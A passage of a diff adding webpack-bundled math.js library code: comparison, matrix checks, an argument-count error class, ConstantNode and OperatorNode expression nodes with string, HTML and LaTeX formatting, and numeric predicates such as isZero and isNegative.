+"use strict"; + + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm05 = load(__webpack_require__(66)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Compare two values. Returns 1 when x > y, -1 when x < y, and 0 when x == y. + * + * x and y are considered equal when the relative difference between x and y + * is smaller than the configured epsilon. The function cannot be used to + * compare values smaller than approximately 2.22e-16. + * + * For matrices, the function is evaluated element wise. + * Strings are compared by their numerical value. + * + * Syntax: + * + * math.compare(x, y) + * + * Examples: + * + * math.compare(6, 1) // returns 1 + * math.compare(2, 3) // returns -1 + * math.compare(7, 7) // returns 0 + * math.compare('10', '2') // returns 1 + * math.compare('1000', '1e3') // returns 0 + * + * const a = math.unit('5 cm') + * const b = math.unit('40 mm') + * math.compare(a, b) // returns 1 + * + * math.compare(2, [1, 2, 3]) // returns [1, 0, -1] + * + * See also: + * + * equal, unequal, smaller, smallerEq, larger, largerEq, compareNatural, compareText + * + * @param {number | BigNumber | Fraction | Unit | string | Array | Matrix} x First value to compare + * @param {number | BigNumber | Fraction | Unit | string | Array | Matrix} y Second value to compare + * @return {number | BigNumber | Fraction | Array | Matrix} Returns the result of the comparison: + * 1 when x > y, -1 when x < y, and 0 when x == y. + */ + + var compare = typed('compare', { + 'boolean, boolean': function booleanBoolean(x, y) { + return x === y ? 0 : x > y ? 1 : -1; + }, + 'number, number': function numberNumber(x, y) { + return x === y || nearlyEqual(x, y, config.epsilon) ? 0 : x > y ? 1 : -1; + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.eq(y) || bigNearlyEqual(x, y, config.epsilon) ? new type.BigNumber(0) : new type.BigNumber(x.cmp(y)); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return new type.Fraction(x.compare(y)); + }, + 'Complex, Complex': function ComplexComplex() { + throw new TypeError('No ordering relation is defined for complex numbers'); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (!x.equalBase(y)) { + throw new Error('Cannot compare units with different base'); + } + + return compare(x.value, y.value); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm05(x, y, compare); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, compare, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, compare, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, compare); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return compare(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return compare(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return compare(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, compare, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, compare, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, compare, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, compare, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, compare, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, compare, true).valueOf(); + } + }); + compare.toTex = undefined; // use default template + + return compare; +} + +exports.name = 'compare'; +exports.factory = factory; + +/***/ }), +/* 56 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Test whether a value is a Matrix + * @param {*} x + * @returns {boolean} returns true with input is a Matrix + * (like a DenseMatrix or SparseMatrix) + */ + +module.exports = function isMatrix(x) { + return x && x.constructor.prototype.isMatrix || false; +}; + +/***/ }), +/* 57 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Create a syntax error with the message: + * 'Wrong number of arguments in function ( provided, - expected)' + * @param {string} fn Function name + * @param {number} count Actual argument count + * @param {number} min Minimum required argument count + * @param {number} [max] Maximum required argument count + * @extends Error + */ + +function ArgumentsError(fn, count, min, max) { + if (!(this instanceof ArgumentsError)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + this.fn = fn; + this.count = count; + this.min = min; + this.max = max; + this.message = 'Wrong number of arguments in function ' + fn + ' (' + count + ' provided, ' + min + (max !== undefined && max !== null ? '-' + max : '') + ' expected)'; + this.stack = new Error().stack; +} + +ArgumentsError.prototype = new Error(); +ArgumentsError.prototype.constructor = Error; +ArgumentsError.prototype.name = 'ArgumentsError'; +ArgumentsError.prototype.isArgumentsError = true; +module.exports = ArgumentsError; + +/***/ }), +/* 58 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var format = __webpack_require__(9).format; + +var escapeLatex = __webpack_require__(4).escape; + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + var getType = load(__webpack_require__(26)); + /** + * A ConstantNode holds a constant value like a number or string. + * + * Usage: + * + * new ConstantNode(2.3) + * new ConstantNode('hello') + * + * @param {*} value Value can be any type (number, BigNumber, string, ...) + * @constructor ConstantNode + * @extends {Node} + */ + + function ConstantNode(value) { + if (!(this instanceof ConstantNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (arguments.length === 2) { + // TODO: remove deprecation error some day (created 2018-01-23) + throw new SyntaxError('new ConstantNode(valueStr, valueType) is not supported anymore since math v4.0.0. Use new ConstantNode(value) instead, where value is a non-stringified value.'); + } + + this.value = value; + } + + ConstantNode.prototype = new Node(); + ConstantNode.prototype.type = 'ConstantNode'; + ConstantNode.prototype.isConstantNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + ConstantNode.prototype._compile = function (math, argNames) { + var value = this.value; + return function evalConstantNode() { + return value; + }; + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + ConstantNode.prototype.forEach = function (callback) {} // nothing to do, we don't have childs + + /** + * Create a new ConstantNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node) : Node} callback + * @returns {ConstantNode} Returns a clone of the node + */ + ; + + ConstantNode.prototype.map = function (callback) { + return this.clone(); + }; + /** + * Create a clone of this node, a shallow copy + * @return {ConstantNode} + */ + + + ConstantNode.prototype.clone = function () { + return new ConstantNode(this.value); + }; + /** + * Get string representation + * @param {Object} options + * @return {string} str + */ + + + ConstantNode.prototype._toString = function (options) { + return format(this.value, options); + }; + /** + * Get HTML representation + * @param {Object} options + * @return {string} str + */ + + + ConstantNode.prototype.toHTML = function (options) { + var value = this._toString(options); + + switch (getType(this.value)) { + case 'number': + case 'BigNumber': + case 'Fraction': + return '' + value + ''; + + case 'string': + return '' + value + ''; + + case 'boolean': + return '' + value + ''; + + case 'null': + return '' + value + ''; + + case 'undefined': + return '' + value + ''; + + default: + return '' + value + ''; + } + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + ConstantNode.prototype.toJSON = function () { + return { + mathjs: 'ConstantNode', + value: this.value + }; + }; + /** + * Instantiate a ConstantNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "SymbolNode", value: 2.3}`, + * where mathjs is optional + * @returns {ConstantNode} + */ + + + ConstantNode.fromJSON = function (json) { + return new ConstantNode(json.value); + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + ConstantNode.prototype._toTex = function (options) { + var value = this._toString(options); + + switch (getType(this.value)) { + case 'string': + return '\\mathtt{' + escapeLatex(value) + '}'; + + case 'number': + case 'BigNumber': + var index = value.toLowerCase().indexOf('e'); + + if (index !== -1) { + return value.substring(0, index) + '\\cdot10^{' + value.substring(index + 1) + '}'; + } + + return value; + + case 'Fraction': + return this.value.toLatex(); + + default: + return value; + } + }; + + return ConstantNode; +} + +exports.name = 'ConstantNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 59 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var latex = __webpack_require__(4); + +var map = __webpack_require__(2).map; + +var escape = __webpack_require__(9).escape; + +var isSafeMethod = __webpack_require__(13).isSafeMethod; + +var getSafeProperty = __webpack_require__(13).getSafeProperty; + +var operators = __webpack_require__(53); + +function factory(type, config, load, typed) { + var Node = load(__webpack_require__(16)); + /** + * @constructor OperatorNode + * @extends {Node} + * An operator with two arguments, like 2+3 + * + * @param {string} op Operator name, for example '+' + * @param {string} fn Function name, for example 'add' + * @param {Node[]} args Operator arguments + * @param {boolean} [implicit] Is this an implicit multiplication? + */ + + function OperatorNode(op, fn, args, implicit) { + if (!(this instanceof OperatorNode)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } // validate input + + + if (typeof op !== 'string') { + throw new TypeError('string expected for parameter "op"'); + } + + if (typeof fn !== 'string') { + throw new TypeError('string expected for parameter "fn"'); + } + + if (!Array.isArray(args) || !args.every(type.isNode)) { + throw new TypeError('Array containing Nodes expected for parameter "args"'); + } + + this.implicit = implicit === true; + this.op = op; + this.fn = fn; + this.args = args || []; + } + + OperatorNode.prototype = new Node(); + OperatorNode.prototype.type = 'OperatorNode'; + OperatorNode.prototype.isOperatorNode = true; + /** + * Compile a node into a JavaScript function. + * This basically pre-calculates as much as possible and only leaves open + * calculations which depend on a dynamic scope with variables. + * @param {Object} math Math.js namespace with functions and constants. + * @param {Object} argNames An object with argument names as key and `true` + * as value. Used in the SymbolNode to optimize + * for arguments from user assigned functions + * (see FunctionAssignmentNode) or special symbols + * like `end` (see IndexNode). + * @return {function} Returns a function which can be called like: + * evalNode(scope: Object, args: Object, context: *) + */ + + OperatorNode.prototype._compile = function (math, argNames) { + // validate fn + if (typeof this.fn !== 'string' || !isSafeMethod(math, this.fn)) { + if (!math[this.fn]) { + throw new Error('Function ' + this.fn + ' missing in provided namespace "math"'); + } else { + throw new Error('No access to function "' + this.fn + '"'); + } + } + + var fn = getSafeProperty(math, this.fn); + var evalArgs = map(this.args, function (arg) { + return arg._compile(math, argNames); + }); + + if (evalArgs.length === 1) { + var evalArg0 = evalArgs[0]; + return function evalOperatorNode(scope, args, context) { + return fn(evalArg0(scope, args, context)); + }; + } else if (evalArgs.length === 2) { + var _evalArg = evalArgs[0]; + var evalArg1 = evalArgs[1]; + return function evalOperatorNode(scope, args, context) { + return fn(_evalArg(scope, args, context), evalArg1(scope, args, context)); + }; + } else { + return function evalOperatorNode(scope, args, context) { + return fn.apply(null, map(evalArgs, function (evalArg) { + return evalArg(scope, args, context); + })); + }; + } + }; + /** + * Execute a callback for each of the child nodes of this node + * @param {function(child: Node, path: string, parent: Node)} callback + */ + + + OperatorNode.prototype.forEach = function (callback) { + for (var i = 0; i < this.args.length; i++) { + callback(this.args[i], 'args[' + i + ']', this); + } + }; + /** + * Create a new OperatorNode having it's childs be the results of calling + * the provided callback function for each of the childs of the original node. + * @param {function(child: Node, path: string, parent: Node): Node} callback + * @returns {OperatorNode} Returns a transformed copy of the node + */ + + + OperatorNode.prototype.map = function (callback) { + var args = []; + + for (var i = 0; i < this.args.length; i++) { + args[i] = this._ifNode(callback(this.args[i], 'args[' + i + ']', this)); + } + + return new OperatorNode(this.op, this.fn, args, this.implicit); + }; + /** + * Create a clone of this node, a shallow copy + * @return {OperatorNode} + */ + + + OperatorNode.prototype.clone = function () { + return new OperatorNode(this.op, this.fn, this.args.slice(0), this.implicit); + }; + /** + * Check whether this is an unary OperatorNode: + * has exactly one argument, like `-a`. + * @return {boolean} Returns true when an unary operator node, false otherwise. + */ + + + OperatorNode.prototype.isUnary = function () { + return this.args.length === 1; + }; + /** + * Check whether this is a binary OperatorNode: + * has exactly two arguments, like `a + b`. + * @return {boolean} Returns true when a binary operator node, false otherwise. + */ + + + OperatorNode.prototype.isBinary = function () { + return this.args.length === 2; + }; + /** + * Calculate which parentheses are necessary. Gets an OperatorNode + * (which is the root of the tree) and an Array of Nodes + * (this.args) and returns an array where 'true' means that an argument + * has to be enclosed in parentheses whereas 'false' means the opposite. + * + * @param {OperatorNode} root + * @param {string} parenthesis + * @param {Node[]} args + * @param {boolean} latex + * @return {boolean[]} + * @private + */ + + + function calculateNecessaryParentheses(root, parenthesis, implicit, args, latex) { + // precedence of the root OperatorNode + var precedence = operators.getPrecedence(root, parenthesis); + var associativity = operators.getAssociativity(root, parenthesis); + + if (parenthesis === 'all' || args.length > 2 && root.getIdentifier() !== 'OperatorNode:add' && root.getIdentifier() !== 'OperatorNode:multiply') { + var parens = args.map(function (arg) { + switch (arg.getContent().type) { + // Nodes that don't need extra parentheses + case 'ArrayNode': + case 'ConstantNode': + case 'SymbolNode': + case 'ParenthesisNode': + return false; + + default: + return true; + } + }); + return parens; + } + + var result; + + switch (args.length) { + case 0: + result = []; + break; + + case 1: + // unary operators + // precedence of the operand + var operandPrecedence = operators.getPrecedence(args[0], parenthesis); // handle special cases for LaTeX, where some of the parentheses aren't needed + + if (latex && operandPrecedence !== null) { + var operandIdentifier; + var rootIdentifier; + + if (parenthesis === 'keep') { + operandIdentifier = args[0].getIdentifier(); + rootIdentifier = root.getIdentifier(); + } else { + // Ignore Parenthesis Nodes when not in 'keep' mode + operandIdentifier = args[0].getContent().getIdentifier(); + rootIdentifier = root.getContent().getIdentifier(); + } + + if (operators.properties[precedence][rootIdentifier].latexLeftParens === false) { + result = [false]; + break; + } + + if (operators.properties[operandPrecedence][operandIdentifier].latexParens === false) { + result = [false]; + break; + } + } + + if (operandPrecedence === null) { + // if the operand has no defined precedence, no parens are needed + result = [false]; + break; + } + + if (operandPrecedence <= precedence) { + // if the operands precedence is lower, parens are needed + result = [true]; + break; + } // otherwise, no parens needed + + + result = [false]; + break; + + case 2: + // binary operators + var lhsParens; // left hand side needs parenthesis? + // precedence of the left hand side + + var lhsPrecedence = operators.getPrecedence(args[0], parenthesis); // is the root node associative with the left hand side + + var assocWithLhs = operators.isAssociativeWith(root, args[0], parenthesis); + + if (lhsPrecedence === null) { + // if the left hand side has no defined precedence, no parens are needed + // FunctionNode for example + lhsParens = false; + } else if (lhsPrecedence === precedence && associativity === 'right' && !assocWithLhs) { + // In case of equal precedence, if the root node is left associative + // parens are **never** necessary for the left hand side. + // If it is right associative however, parens are necessary + // if the root node isn't associative with the left hand side + lhsParens = true; + } else if (lhsPrecedence < precedence) { + lhsParens = true; + } else { + lhsParens = false; + } + + var rhsParens; // right hand side needs parenthesis? + // precedence of the right hand side + + var rhsPrecedence = operators.getPrecedence(args[1], parenthesis); // is the root node associative with the right hand side? + + var assocWithRhs = operators.isAssociativeWith(root, args[1], parenthesis); + + if (rhsPrecedence === null) { + // if the right hand side has no defined precedence, no parens are needed + // FunctionNode for example + rhsParens = false; + } else if (rhsPrecedence === precedence && associativity === 'left' && !assocWithRhs) { + // In case of equal precedence, if the root node is right associative + // parens are **never** necessary for the right hand side. + // If it is left associative however, parens are necessary + // if the root node isn't associative with the right hand side + rhsParens = true; + } else if (rhsPrecedence < precedence) { + rhsParens = true; + } else { + rhsParens = false; + } // handle special cases for LaTeX, where some of the parentheses aren't needed + + + if (latex) { + var _rootIdentifier; + + var lhsIdentifier; + var rhsIdentifier; + + if (parenthesis === 'keep') { + _rootIdentifier = root.getIdentifier(); + lhsIdentifier = root.args[0].getIdentifier(); + rhsIdentifier = root.args[1].getIdentifier(); + } else { + // Ignore ParenthesisNodes when not in 'keep' mode + _rootIdentifier = root.getContent().getIdentifier(); + lhsIdentifier = root.args[0].getContent().getIdentifier(); + rhsIdentifier = root.args[1].getContent().getIdentifier(); + } + + if (lhsPrecedence !== null) { + if (operators.properties[precedence][_rootIdentifier].latexLeftParens === false) { + lhsParens = false; + } + + if (operators.properties[lhsPrecedence][lhsIdentifier].latexParens === false) { + lhsParens = false; + } + } + + if (rhsPrecedence !== null) { + if (operators.properties[precedence][_rootIdentifier].latexRightParens === false) { + rhsParens = false; + } + + if (operators.properties[rhsPrecedence][rhsIdentifier].latexParens === false) { + rhsParens = false; + } + } + } + + result = [lhsParens, rhsParens]; + break; + + default: + if (root.getIdentifier() === 'OperatorNode:add' || root.getIdentifier() === 'OperatorNode:multiply') { + result = args.map(function (arg) { + var argPrecedence = operators.getPrecedence(arg, parenthesis); + var assocWithArg = operators.isAssociativeWith(root, arg, parenthesis); + var argAssociativity = operators.getAssociativity(arg, parenthesis); + + if (argPrecedence === null) { + // if the argument has no defined precedence, no parens are needed + return false; + } else if (precedence === argPrecedence && associativity === argAssociativity && !assocWithArg) { + return true; + } else if (argPrecedence < precedence) { + return true; + } + + return false; + }); + } + + break; + } // handles an edge case of 'auto' parentheses with implicit multiplication of ConstantNode + // In that case print parentheses for ParenthesisNodes even though they normally wouldn't be + // printed. + + + if (args.length >= 2 && root.getIdentifier() === 'OperatorNode:multiply' && root.implicit && parenthesis === 'auto' && implicit === 'hide') { + result = args.map(function (arg, index) { + var isParenthesisNode = arg.getIdentifier() === 'ParenthesisNode'; + + if (result[index] || isParenthesisNode) { + // put in parenthesis? + return true; + } + + return false; + }); + } + + return result; + } + /** + * Get string representation. + * @param {Object} options + * @return {string} str + */ + + + OperatorNode.prototype._toString = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var implicit = options && options.implicit ? options.implicit : 'hide'; + var args = this.args; + var parens = calculateNecessaryParentheses(this, parenthesis, implicit, args, false); + + if (args.length === 1) { + // unary operators + var assoc = operators.getAssociativity(this, parenthesis); + var operand = args[0].toString(options); + + if (parens[0]) { + operand = '(' + operand + ')'; + } // for example for "not", we want a space between operand and argument + + + var opIsNamed = /[a-zA-Z]+/.test(this.op); + + if (assoc === 'right') { + // prefix operator + return this.op + (opIsNamed ? ' ' : '') + operand; + } else if (assoc === 'left') { + // postfix + return operand + (opIsNamed ? ' ' : '') + this.op; + } // fall back to postfix + + + return operand + this.op; + } else if (args.length === 2) { + var lhs = args[0].toString(options); // left hand side + + var rhs = args[1].toString(options); // right hand side + + if (parens[0]) { + // left hand side in parenthesis? + lhs = '(' + lhs + ')'; + } + + if (parens[1]) { + // right hand side in parenthesis? + rhs = '(' + rhs + ')'; + } + + if (this.implicit && this.getIdentifier() === 'OperatorNode:multiply' && implicit === 'hide') { + return lhs + ' ' + rhs; + } + + return lhs + ' ' + this.op + ' ' + rhs; + } else if (args.length > 2 && (this.getIdentifier() === 'OperatorNode:add' || this.getIdentifier() === 'OperatorNode:multiply')) { + var stringifiedArgs = args.map(function (arg, index) { + arg = arg.toString(options); + + if (parens[index]) { + // put in parenthesis? + arg = '(' + arg + ')'; + } + + return arg; + }); + + if (this.implicit && this.getIdentifier() === 'OperatorNode:multiply' && implicit === 'hide') { + return stringifiedArgs.join(' '); + } + + return stringifiedArgs.join(' ' + this.op + ' '); + } else { + // fallback to formatting as a function call + return this.fn + '(' + this.args.join(', ') + ')'; + } + }; + /** + * Get a JSON representation of the node + * @returns {Object} + */ + + + OperatorNode.prototype.toJSON = function () { + return { + mathjs: 'OperatorNode', + op: this.op, + fn: this.fn, + args: this.args, + implicit: this.implicit + }; + }; + /** + * Instantiate an OperatorNode from its JSON representation + * @param {Object} json An object structured like + * `{"mathjs": "OperatorNode", "op": "+", "fn": "add", "args": [...], "implicit": false}`, + * where mathjs is optional + * @returns {OperatorNode} + */ + + + OperatorNode.fromJSON = function (json) { + return new OperatorNode(json.op, json.fn, json.args, json.implicit); + }; + /** + * Get HTML representation. + * @param {Object} options + * @return {string} str + */ + + + OperatorNode.prototype.toHTML = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var implicit = options && options.implicit ? options.implicit : 'hide'; + var args = this.args; + var parens = calculateNecessaryParentheses(this, parenthesis, implicit, args, false); + + if (args.length === 1) { + // unary operators + var assoc = operators.getAssociativity(this, parenthesis); + var operand = args[0].toHTML(options); + + if (parens[0]) { + operand = '(' + operand + ')'; + } + + if (assoc === 'right') { + // prefix operator + return '' + escape(this.op) + '' + operand; + } else { + // postfix when assoc === 'left' or undefined + return operand + '' + escape(this.op) + ''; + } + } else if (args.length === 2) { + // binary operatoes + var lhs = args[0].toHTML(options); // left hand side + + var rhs = args[1].toHTML(options); // right hand side + + if (parens[0]) { + // left hand side in parenthesis? + lhs = '(' + lhs + ')'; + } + + if (parens[1]) { + // right hand side in parenthesis? + rhs = '(' + rhs + ')'; + } + + if (this.implicit && this.getIdentifier() === 'OperatorNode:multiply' && implicit === 'hide') { + return lhs + '' + rhs; + } + + return lhs + '' + escape(this.op) + '' + rhs; + } else { + var stringifiedArgs = args.map(function (arg, index) { + arg = arg.toHTML(options); + + if (parens[index]) { + // put in parenthesis? + arg = '(' + arg + ')'; + } + + return arg; + }); + + if (args.length > 2 && (this.getIdentifier() === 'OperatorNode:add' || this.getIdentifier() === 'OperatorNode:multiply')) { + if (this.implicit && this.getIdentifier() === 'OperatorNode:multiply' && implicit === 'hide') { + return stringifiedArgs.join(''); + } + + return stringifiedArgs.join('' + escape(this.op) + ''); + } else { + // fallback to formatting as a function call + return '' + escape(this.fn) + '(' + stringifiedArgs.join(',') + ')'; + } + } + }; + /** + * Get LaTeX representation + * @param {Object} options + * @return {string} str + */ + + + OperatorNode.prototype._toTex = function (options) { + var parenthesis = options && options.parenthesis ? options.parenthesis : 'keep'; + var implicit = options && options.implicit ? options.implicit : 'hide'; + var args = this.args; + var parens = calculateNecessaryParentheses(this, parenthesis, implicit, args, true); + var op = latex.operators[this.fn]; + op = typeof op === 'undefined' ? this.op : op; // fall back to using this.op + + if (args.length === 1) { + // unary operators + var assoc = operators.getAssociativity(this, parenthesis); + var operand = args[0].toTex(options); + + if (parens[0]) { + operand = "\\left(".concat(operand, "\\right)"); + } + + if (assoc === 'right') { + // prefix operator + return op + operand; + } else if (assoc === 'left') { + // postfix operator + return operand + op; + } // fall back to postfix + + + return operand + op; + } else if (args.length === 2) { + // binary operators + var lhs = args[0]; // left hand side + + var lhsTex = lhs.toTex(options); + + if (parens[0]) { + lhsTex = "\\left(".concat(lhsTex, "\\right)"); + } + + var rhs = args[1]; // right hand side + + var rhsTex = rhs.toTex(options); + + if (parens[1]) { + rhsTex = "\\left(".concat(rhsTex, "\\right)"); + } // handle some exceptions (due to the way LaTeX works) + + + var lhsIdentifier; + + if (parenthesis === 'keep') { + lhsIdentifier = lhs.getIdentifier(); + } else { + // Ignore ParenthesisNodes if in 'keep' mode + lhsIdentifier = lhs.getContent().getIdentifier(); + } + + switch (this.getIdentifier()) { + case 'OperatorNode:divide': + // op contains '\\frac' at this point + return op + '{' + lhsTex + '}' + '{' + rhsTex + '}'; + + case 'OperatorNode:pow': + lhsTex = '{' + lhsTex + '}'; + rhsTex = '{' + rhsTex + '}'; + + switch (lhsIdentifier) { + case 'ConditionalNode': // + + case 'OperatorNode:divide': + lhsTex = "\\left(".concat(lhsTex, "\\right)"); + } + + break; + + case 'OperatorNode:multiply': + if (this.implicit && implicit === 'hide') { + return lhsTex + '~' + rhsTex; + } + + } + + return lhsTex + op + rhsTex; + } else if (args.length > 2 && (this.getIdentifier() === 'OperatorNode:add' || this.getIdentifier() === 'OperatorNode:multiply')) { + var texifiedArgs = args.map(function (arg, index) { + arg = arg.toTex(options); + + if (parens[index]) { + arg = "\\left(".concat(arg, "\\right)"); + } + + return arg; + }); + + if (this.getIdentifier() === 'OperatorNode:multiply' && this.implicit) { + return texifiedArgs.join('~'); + } + + return texifiedArgs.join(op); + } else { + // fall back to formatting as a function call + // as this is a fallback, it doesn't use + // fancy function names + return '\\mathrm{' + this.fn + '}\\left(' + args.map(function (arg) { + return arg.toTex(options); + }).join(',') + '\\right)'; + } + }; + /** + * Get identifier. + * @return {string} + */ + + + OperatorNode.prototype.getIdentifier = function () { + return this.type + ':' + this.fn; + }; + + return OperatorNode; +} + +exports.name = 'OperatorNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 60 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Test whether a value is zero. + * The function can check for zero for types `number`, `BigNumber`, `Fraction`, + * `Complex`, and `Unit`. + * + * The function is evaluated element-wise in case of Array or Matrix input. + * + * Syntax: + * + * math.isZero(x) + * + * Examples: + * + * math.isZero(0) // returns true + * math.isZero(2) // returns false + * math.isZero(0.5) // returns false + * math.isZero(math.bignumber(0)) // returns true + * math.isZero(math.fraction(0)) // returns true + * math.isZero(math.fraction(1,3)) // returns false + * math.isZero(math.complex('2 - 4i') // returns false + * math.isZero(math.complex('0i') // returns true + * math.isZero('0') // returns true + * math.isZero('2') // returns false + * math.isZero([2, 0, -3]') // returns [false, true, false] + * + * See also: + * + * isNumeric, isPositive, isNegative, isInteger + * + * @param {number | BigNumber | Complex | Fraction | Unit | Array | Matrix} x Value to be tested + * @return {boolean} Returns true when `x` is zero. + * Throws an error in case of an unknown data type. + */ + var isZero = typed('isZero', { + 'number': function number(x) { + return x === 0; + }, + 'BigNumber': function BigNumber(x) { + return x.isZero(); + }, + 'Complex': function Complex(x) { + return x.re === 0 && x.im === 0; + }, + 'Fraction': function Fraction(x) { + return x.d === 1 && x.n === 0; + }, + 'Unit': function Unit(x) { + return isZero(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, isZero); + } + }); + return isZero; +} + +exports.name = 'isZero'; +exports.factory = factory; + +/***/ }), +/* 61 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Test whether a value is negative: smaller than zero. + * The function supports types `number`, `BigNumber`, `Fraction`, and `Unit`. + * + * The function is evaluated element-wise in case of Array or Matrix input. + * + * Syntax: + * + * math.isNegative(x) + * + * Examples: + * + * math.isNegative(3) // returns false + * math.isNegative(-2) // returns true + * math.isNegative(0) // returns false + * math.isNegative(-0) // returns false + * math.isNegative(math.bignumber(2)) // returns false + * math.isNegative(math.fraction(-2, 5)) // returns true + * math.isNegative('-2') // returns true + * math.isNegative([2, 0, -3]') // returns [false, false, true] + * + * See also: + * + * isNumeric, isPositive, isZero, isInteger + * + * @param {number | BigNumber | Fraction | Unit | Array | Matrix} x Value to be tested + * @return {boolean} Returns true when `x` is larger than zero. + * Throws an error in case of an unknown data type. + */ + var isNegative = typed('isNegative', { + 'number': function number(x) { + return x < 0; + }, + 'BigNumber': function BigNumber(x) { + return x.isNeg() && !x.isZero() && !x.isNaN(); + }, + 'Fraction': function Fraction(x) { + return x.s < 0; // It's enough to decide on the sign + }, + 'Unit': function Unit(x) { + return isNegative(x.value); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, isNegative); + } + }); + return isNegative; +} + +exports.name = 'isNegative'; +exports.factory = factory; + +/***/ }), +/* 62 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isCollection = __webpack_require__(35); +/** + * Test whether an array contains collections + * @param {Array} array + * @returns {boolean} Returns true when the array contains one or multiple + * collections (Arrays or Matrices). Returns false otherwise. + */ + + +module.exports = function containsCollections(array) { + for (var i = 0; i < array.length; i++) { + if (isCollection(array[i])) { + return true; + } + } + + return false; +}; + +/***/ }), +/* 63 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var _typeof = load(__webpack_require__(26)); + + function getArrayDataType(array) { + var _type; // to hold type info + + + var _length = 0; // to hold length value to ensure it has consistent sizes + + for (var i = 0; i < array.length; i++) { + var item = array[i]; + var isArray = Array.isArray(item); // Saving the target matrix row size + + if (i === 0 && isArray) { + _length = item.length; + } // If the current item is an array but the length does not equal the targetVectorSize + + + if (isArray && item.length !== _length) { + return undefined; + } + + var itemType = isArray ? getArrayDataType(item) // recurse into a nested array + : _typeof(item); + + if (_type === undefined) { + _type = itemType; // first item + } else if (_type !== itemType) { + return 'mixed'; + } else {// we're good, everything has the same type so far + } + } + + return _type; + } + + return getArrayDataType; +} +/** + * Check the datatype of a given object + * This is a low level implementation that should only be used by + * parent Matrix classes such as SparseMatrix or DenseMatrix + * This method does not validate Array Matrix shape + * @param array + * @return string + */ + + +exports.factory = factory; + +/***/ }), +/* 64 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Create a number or convert a string, boolean, or unit to a number. + * When value is a matrix, all elements will be converted to number. + * + * Syntax: + * + * math.number(value) + * math.number(unit, valuelessUnit) + * + * Examples: + * + * math.number(2) // returns number 2 + * math.number('7.2') // returns number 7.2 + * math.number(true) // returns number 1 + * math.number([true, false, true, true]) // returns [1, 0, 1, 1] + * math.number(math.unit('52cm'), 'm') // returns 0.52 + * + * See also: + * + * bignumber, boolean, complex, index, matrix, string, unit + * + * @param {string | number | BigNumber | Fraction | boolean | Array | Matrix | Unit | null} [value] Value to be converted + * @param {Unit | string} [valuelessUnit] A valueless unit, used to convert a unit to a number + * @return {number | Array | Matrix} The created number + */ + var number = typed('number', { + '': function _() { + return 0; + }, + 'number': function number(x) { + return x; + }, + 'string': function string(x) { + if (x === 'NaN') return 